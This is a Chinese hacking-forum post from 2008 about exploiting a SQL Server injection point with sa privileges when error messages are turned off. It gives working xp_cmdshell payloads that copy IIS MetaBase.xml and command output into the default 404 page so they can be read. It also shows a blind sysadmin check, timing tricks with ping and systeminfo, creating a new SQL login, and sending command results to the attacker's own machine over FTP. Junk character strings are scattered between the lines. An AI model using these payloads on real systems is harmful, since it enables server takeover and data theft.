遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
f# b: _! z: V& i, [
) L+ P. t \0 f 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
6 q8 m( G7 m1 m* s# R+ D; l
' p# N; p& \- @2 f$ Y 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
* I4 `) \" D0 b: M" B* N1 y- d) y
* j! Z" ]: o( z/ e* { IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
/ f! {% A' y* Y" ^
1 I- D' Y) m" r9 H! w9 y 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--( G1 }& S; U/ D' i: g$ p. B4 X) w( x
. d( W8 }/ B' L6 } ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。# R+ y7 |' X/ [3 p4 u2 T2 a. u, e
$ }' q" X8 X+ y; T: Z, g
执行命令得到回显
+ y" }7 V4 K0 r3 ^
/ P- ~" S6 `# o 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--1 K- A. W) I: ]+ L# c
- O- p+ o6 x- K# U: @2 z z 得到文件也shi相同,把文件copy到404b.htm就行了8 m2 j0 Q; h# ~. q0 P& w
5 A3 Z) J* K. ?8 K" X1 D/ s
by 28ice, 2008/6/26' \% e3 q" ?. j# |+ W5 E
- N" C2 r) M6 @+ E4 u% e) l 摘自 28度的冰9 J' c* ~# L6 ^0 P
. K- {4 ~) o: [
盲注判断权限和操作系统版本5 s G' o* W3 S% j& [. R6 V
1 D' M) C1 v% @( O) L8 v
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
: ?4 j& C4 e. J! c( {$ G) j4 k- J1 a. k- W. E7 c5 r
最简单的,可能以用这样的方法:' W3 I% w4 [( A, ~
$ `4 X c" X. u' l- w 1=(select IS_SRVROLEMEMBER(’sysadmin’)): u$ O) U, ^* O
* {/ c$ y7 A' B5 L, v# K, w2 W' U. F
当然,有些情况下,这个方法并不奏效。
( p& y+ M8 {8 Y# M. \- [* |. k* d+ b& z5 K. k% s2 z1 h; G" W
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。9 k( H3 I1 t% V
6 ~8 W+ U: ^9 v/ T/ n4 `
有个3办法可能以解决这个问题
$ E2 Z) c4 ^; ~" y* A* F' I
3 y9 K1 R7 y0 ?8 |3 c& Q a.把执行结果写到404b.htm,具体请看我的上一篇文章
7 A* C3 j( P0 F" ^3 R! t) J/ G+ @* h+ }- C
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟6 {8 P& c7 H" k" {. J, [
+ d3 S$ B/ L4 u Y9 \
c.如果1433端口可能以连接,那干脆新建个sql登录
- j$ C1 F: e7 [
; ]! Y& p6 E# z2 [" N9 j d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数( j3 [9 l8 R6 G' F5 `% S7 v' C& Y
+ s8 C- n) b+ o; |3 F* M
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
1 E# D/ j' s: T$ |, E0 {5 I. S4 M' @. t8 H& j$ Y
很简单2 D3 b8 {1 n7 A. Z, Y) j
0 s' S F; l! h$ h6 F 执行systeminfo
, G2 i. {# w1 L, D0 C6 H# C6 x, | g/ R
! i- R7 Y( S( i 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |